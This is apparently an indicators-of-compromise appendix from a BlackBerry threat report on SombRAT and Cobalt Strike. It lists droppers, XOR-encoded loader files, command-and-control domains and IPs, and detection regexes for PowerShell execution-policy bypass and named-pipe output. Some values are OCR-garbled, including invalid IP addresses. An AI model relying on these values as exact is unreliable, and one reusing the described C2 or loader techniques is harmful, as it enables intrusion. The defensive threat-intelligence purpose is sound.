ba0e52cc29751b983bdd34d5e59e9b6a7af8d6ddde3b5d545eb95bc3c47a4b27 SHA256 WwanSvc.bat

-exec( }{1,}bypass( ){1,}-file( }{1,}C\:\\windows\\tasks\\(.){1,}.ps1 Command- PowerShell used to launch script from
line C:\Windows\Tasks folder
cmd\.exe\lecho\|\>\|\\W\.\\pipe\\ Command- Echo stdout from cmd.exe to a named pipe
line
WwanService Service Installation scheduled task name
name
autorun.ps1.txt Filename Decode and execute ntuser.c
C:\programdata\Microsoft\WwanSvc.bat Filename Installation scheduled task batch script
first32.exe Filename RAR SFX dropper for SombRAT
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first64.exe Filename RAR SFX dropper for SombRAT
(a.baseb4|ntuser.a|WwanSvc.a) Filename  XOR key used to decode the PS loader script
and payload
(b.base64|ntuser.b|WwanSvc.b) Filename  XOR encoded payload
(c.baseb4|ntuser.c|WwanSvc.c) Filename  XOR encoded PS reflective PE loader script
my(15[16|420).ps1 Filename PowerShell loader for CobaltStrike beacon
shellcode
C:\Windows\Temp\9ACF219F1FODEE49 Filename SombRAT structured storage file
feticost[.Jcom Domain SombRAT C2
celomito[.Jcom Domain SombRAT C2
bd1540dda.celomito[.Jcom Domain SombRAT C2 (DGA) C2 beacon
5dcba95caaaad5cebefs.celomitof.Jcom Domain SombRAT C2 (DGA) C2 beacon
b27543ffd5a3949c5d483e2b4705.celomito.Jcom Domain SombRAT C2 (DGA) C2 beacon
Ab[a-zA-Z0-9]{3,64}\.(celomito|feticost)\[.Jcom Domain SombRAT C2 DGA/DNS tunneling
51.89.50.152 P feticost[.Jcom
57.219.0.1 IP celomito[.Jcom
19.134.94.227 P feticost[.Jcom (DGA) C2 beacon
88.105.224.32 P feticost[.Jcom (DGA) C2 beacon
180.222.29.199 P feticost[.Jcom (DGA) C2 beacon
119.39.152.157 IP feticost[.Jcom (DGA) C2 beacon
109.124.209.212 P feticost[.Jcom (DGA) C2 beacon
119.170.44.215 P feticost[.Jcom (DGA) C2 beacon
226.31.10.29 P feticost[.Jcom (DGA) C2 beacon
156.77.252.190 IP feticost[.Jcom (DGA) C2 beacon
135.78.65.199 P feticost[.Jcom (DGA) C2 beacon
30.24.7.206 P feticost[.Jcom (DGA) C2 beacon
229.222.231.39 P feticost[.Jcom (DGA) C2 beacon
22.58.50.80 IP feticost[.Jcom (DGA) C2 beacon
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218.10.128.138 IP feticost[.Jcom (DGA) C2 beacon

245.179.63.52 IP feticost[.Jcom (DGA) C2 beacon

98.160.54.99 P feticost[.Jcom (DGA) C2 beacon

200.72.40.81 P feticost[.Jcom (DGA) C2 beacon

229.228.106.12 IP feticost[.Jcom (DGA) C2 beacon

71.61.21.41 IP b27543ffd5a3949c5d483e2b4705.celomito[.Jconr
79.93.190.81 IP b27543ffd5a3949c5d483e2b4705.celomito[.Jconr
64.227.24.12 P CobaltStrike beacon

157.230.184.142 P CobaltStrike beacon

About The BlackBerry Research & Intelligence Team

The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of
defenders and the organizations they serve.
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